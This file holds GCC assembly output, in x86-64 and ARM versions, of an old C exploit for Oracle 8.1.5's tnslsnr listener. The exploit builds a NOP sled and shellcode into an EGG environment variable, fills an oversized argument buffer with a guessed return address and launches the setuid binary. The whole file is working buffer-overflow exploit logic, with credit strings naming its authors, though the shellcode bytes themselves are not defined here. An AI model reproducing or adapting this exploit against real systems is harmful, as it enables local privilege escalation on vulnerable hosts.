	.file	"extr_21362.c_main.c"
	.intel_syntax noprefix
	.text
	.section	.rodata.str1.8,"aMS",@progbits,1
	.align 8
.LC0:
	.string	"unable to allocate memory for %d bytes\n"
	.section	.rodata.str1.1,"aMS",@progbits,1
.LC1:
	.string	"Oracle tnslsrn 8.1.5"
	.section	.rodata.str1.8
	.align 8
.LC2:
	.string	"Vulnerability found by KF / http://www.snosoft.com"
	.align 8
.LC3:
	.string	"Coded by The Itch / http://www.promisc.org\n"
	.section	.rodata.str1.1
.LC4:
	.string	"Using return address: 0x%x\n"
.LC5:
	.string	"Using buffersize    : %d\n"
.LC6:
	.string	"EGG="
.LC7:
	.string	"tnslsnr"
	.section	.rodata.str1.8
	.align 8
.LC8:
	.string	"/home/u01/app/oracle/product/8.1.5/bin/tnslsnr"
	.section	.text.startup,"ax",@progbits
	.p2align 4
	.globl	main
	.type	main, @function
main:
.LFB0:
	.cfi_startproc
	endbr64
	push	r15
	.cfi_def_cfa_offset 16
	.cfi_offset 15, -16
	push	r14
	.cfi_def_cfa_offset 24
	.cfi_offset 14, -24
	push	r13
	.cfi_def_cfa_offset 32
	.cfi_offset 13, -32
	push	r12
	.cfi_def_cfa_offset 40
	.cfi_offset 12, -40
	push	rbp
	.cfi_def_cfa_offset 48
	.cfi_offset 6, -48
	push	rbx
	.cfi_def_cfa_offset 56
	.cfi_offset 3, -56
	sub	rsp, 24
	.cfi_def_cfa_offset 80
	movsx	r13, DWORD PTR DEFAULT_BUFFER_SIZE[rip]
	movsx	r12, DWORD PTR DEFAULT_EGG_SIZE[rip]
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR 8[rsp], rax
	xor	eax, eax
	lea	rax, 4[rsp]
	mov	DWORD PTR 4[rsp], eax
	cmp	edi, 1
	jle	.L2
	mov	rdi, QWORD PTR 8[rsi]
	call	atoi@PLT
	movsx	r13, eax
.L2:
	mov	edi, r13d
	call	malloc@PLT
	mov	r15, rax
	test	rax, rax
	je	.L15
.L3:
	mov	edi, r12d
	call	malloc@PLT
	mov	r14, rax
	test	rax, rax
	je	.L16
.L4:
	lea	rdi, .LC1[rip]
	lea	ebx, -1[r13]
	call	puts@PLT
	lea	rdi, .LC2[rip]
	call	puts@PLT
	lea	rdi, .LC3[rip]
	call	puts@PLT
	mov	esi, DWORD PTR 4[rsp]
	lea	rdi, .LC4[rip]
	xor	eax, eax
	call	printf@PLT
	xor	eax, eax
	mov	esi, ebx
	lea	rdi, .LC5[rip]
	call	printf@PLT
	test	r13d, r13d
	jle	.L5
	shr	ebx, 2
	movsx	rcx, DWORD PTR 4[rsp]
	mov	rax, r15
	lea	rdx, 8[r15+rbx*8]
	.p2align 4,,10
	.p2align 3
.L6:
	add	rax, 8
	mov	QWORD PTR -8[rax], rcx
	cmp	rax, rdx
	jne	.L6
.L5:
	mov	rbp, r14
	xor	ebx, ebx
	jmp	.L7
	.p2align 4,,10
	.p2align 3
.L8:
	mov	eax, DWORD PTR NOP[rip]
	add	rbp, 1
	add	ebx, 1
	mov	BYTE PTR -1[rbp], al
.L7:
	mov	rdi, QWORD PTR shellcode[rip]
	call	strlen@PLT
	mov	esi, r12d
	sub	esi, eax
	mov	eax, esi
	sub	eax, 1
	cmp	eax, ebx
	jg	.L8
	xor	ebx, ebx
	jmp	.L9
	.p2align 4,,10
	.p2align 3
.L10:
	mov	rax, QWORD PTR shellcode[rip]
	mov	eax, DWORD PTR [rax+rbx*4]
	mov	BYTE PTR 0[rbp+rbx], al
	add	rbx, 1
.L9:
	mov	rdi, QWORD PTR shellcode[rip]
	call	strlen@PLT
	cmp	eax, ebx
	jg	.L10
	mov	BYTE PTR -1[r14+r12], 0
	mov	edx, 4
	lea	rsi, .LC6[rip]
	mov	rdi, r14
	call	memcpy@PLT
	mov	rdi, r14
	call	putenv@PLT
	mov	BYTE PTR -1[r15+r13], 0
	xor	ecx, ecx
	mov	rdx, r15
	lea	rsi, .LC7[rip]
	lea	rdi, .LC8[rip]
	call	execl@PLT
	mov	rax, QWORD PTR 8[rsp]
	xor	rax, QWORD PTR fs:40
	jne	.L17
	add	rsp, 24
	.cfi_remember_state
	.cfi_def_cfa_offset 56
	xor	eax, eax
	pop	rbx
	.cfi_def_cfa_offset 48
	pop	rbp
	.cfi_def_cfa_offset 40
	pop	r12
	.cfi_def_cfa_offset 32
	pop	r13
	.cfi_def_cfa_offset 24
	pop	r14
	.cfi_def_cfa_offset 16
	pop	r15
	.cfi_def_cfa_offset 8
	ret
.L15:
	.cfi_restore_state
	mov	esi, r13d
	lea	rdi, .LC0[rip]
	xor	eax, eax
	call	printf@PLT
	mov	edi, 1
	call	exit@PLT
	jmp	.L3
.L16:
	mov	esi, r12d
	lea	rdi, .LC0[rip]
	xor	eax, eax
	call	printf@PLT
	mov	edi, 1
	call	exit@PLT
	jmp	.L4
.L17:
	call	__stack_chk_fail@PLT
	.cfi_endproc
.LFE0:
	.size	main, .-main
	.comm	shellcode,8,8
	.comm	get_sp,4,4
	.comm	NOP,4,4
	.comm	DEFAULT_EGG_SIZE,4,4
	.comm	DEFAULT_BUFFER_SIZE,4,4
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",@progbits
	.section	.note.gnu.property,"a"
	.align 8
	.long	 1f - 0f
	.long	 4f - 1f
	.long	 5
0:
	.string	 "GNU"
1:
	.align 8
	.long	 0xc0000002
	.long	 3f - 2f
2:
	.long	 0x3
3:
	.align 8
4:

	.arch armv5t
	.eabi_attribute 20, 1
	.eabi_attribute 21, 1
	.eabi_attribute 23, 3
	.eabi_attribute 24, 1
	.eabi_attribute 25, 1
	.eabi_attribute 26, 2
	.eabi_attribute 30, 2
	.eabi_attribute 34, 0
	.eabi_attribute 18, 4
	.file	"extr_21362.c_main.c"
	.text
	.section	.rodata.str1.4,"aMS",%progbits,1
	.align	2
.LC0:
	.ascii	"unable to allocate memory for %d bytes\012\000"
	.align	2
.LC1:
	.ascii	"Oracle tnslsrn 8.1.5\000"
	.align	2
.LC2:
	.ascii	"Vulnerability found by KF / http://www.snosoft.com\000"
	.align	2
.LC3:
	.ascii	"Coded by The Itch / http://www.promisc.org\012\000"
	.align	2
.LC4:
	.ascii	"Using return address: 0x%x\012\000"
	.align	2
.LC5:
	.ascii	"Using buffersize    : %d\012\000"
	.align	2
.LC6:
	.ascii	"tnslsnr\000"
	.align	2
.LC7:
	.ascii	"/home/u01/app/oracle/product/8.1.5/bin/tnslsnr\000"
	.section	.rodata.cst4,"aM",%progbits,4
	.align	2
.LC8:
	.word	__stack_chk_guard
	.section	.text.startup,"ax",%progbits
	.align	2
	.global	main
	.syntax unified
	.arm
	.fpu softvfp
	.type	main, %function
main:
	@ args = 0, pretend = 0, frame = 8
	@ frame_needed = 0, uses_anonymous_args = 0
	push	{r4, r5, r6, r7, r8, r9, r10, fp, lr}
	ldr	r2, .L19
	ldr	r3, .L19+4
	cmp	r0, #1
	ldr	r0, .L19+8
	sub	sp, sp, #12
	ldr	r0, [r0]
	str	r0, [sp, #4]
	mov	r0,#0
	ldr	r6, [r2]
	ldr	r5, [r3]
	str	sp, [sp]
	ble	.L2
	ldr	r0, [r1, #4]
	bl	atoi
	mov	r6, r0
.L2:
	mov	r0, r6
	bl	malloc
	subs	r8, r0, #0
	beq	.L16
.L3:
	mov	r0, r5
	bl	malloc
	subs	r7, r0, #0
	beq	.L17
.L4:
	ldr	r0, .L19+12
	bl	puts
	ldr	r0, .L19+16
	bl	puts
	ldr	r0, .L19+20
	bl	puts
	sub	r4, r6, #1
	ldr	r1, [sp]
	ldr	r0, .L19+24
	bl	printf
	mov	r1, r4
	ldr	r0, .L19+28
	bl	printf
	cmp	r6, #0
	ble	.L8
	mov	r3, r8
	bic	r2, r4, #3
	add	r2, r2, #4
	ldr	r1, [sp]
	add	r2, r8, r2
.L7:
	str	r1, [r3], #4
	cmp	r2, r3
	bne	.L7
.L8:
	ldr	r2, .L19+32
	ldr	r3, .L19+36
	mov	r4, r7
	mov	fp, #0
	ldr	r10, [r2]
	ldrb	r9, [r3]	@ zero_extendqisi2
	b	.L6
.L9:
	strb	r9, [r4], #1
	add	fp, fp, #1
.L6:
	mov	r0, r10
	bl	strlen
	sub	r3, r5, r0
	sub	r3, r3, #1
	cmp	r3, fp
	bgt	.L9
	mov	r9, #0
	b	.L10
.L11:
	ldr	r3, [r10, r9, lsl #2]
	mov	r0, r10
	strb	r3, [r4], #1
	bl	strlen
	add	r9, r9, #1
.L10:
	cmp	r9, r0
	blt	.L11
	mov	r4, #0
	ldr	r3, .L19+40
	add	r5, r7, r5
	strb	r4, [r5, #-1]
	mov	r0, r7
	str	r3, [r7]
	add	r6, r8, r6
	bl	putenv
	mov	r2, r8
	mov	r3, r4
	ldr	r1, .L19+44
	ldr	r0, .L19+48
	strb	r4, [r6, #-1]
	bl	execl
	ldr	r3, .L19+8
	ldr	r2, [r3]
	ldr	r3, [sp, #4]
	eors	r2, r3, r2
	mov	r3, #0
	bne	.L18
	mov	r0, r4
	add	sp, sp, #12
	@ sp needed
	pop	{r4, r5, r6, r7, r8, r9, r10, fp, pc}
.L16:
	mov	r1, r6
	ldr	r0, .L19+52
	bl	printf
	mov	r0, #1
	bl	exit
	b	.L3
.L18:
	bl	__stack_chk_fail
.L17:
	mov	r1, r5
	ldr	r0, .L19+52
	bl	printf
	mov	r0, #1
	bl	exit
	b	.L4
.L20:
	.align	2
.L19:
	.word	DEFAULT_BUFFER_SIZE
	.word	DEFAULT_EGG_SIZE
	.word	.LC8
	.word	.LC1
	.word	.LC2
	.word	.LC3
	.word	.LC4
	.word	.LC5
	.word	shellcode
	.word	NOP
	.word	1028081477
	.word	.LC6
	.word	.LC7
	.word	.LC0
	.size	main, .-main
	.comm	shellcode,4,4
	.comm	get_sp,4,4
	.comm	NOP,4,4
	.comm	DEFAULT_EGG_SIZE,4,4
	.comm	DEFAULT_BUFFER_SIZE,4,4
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",%progbits
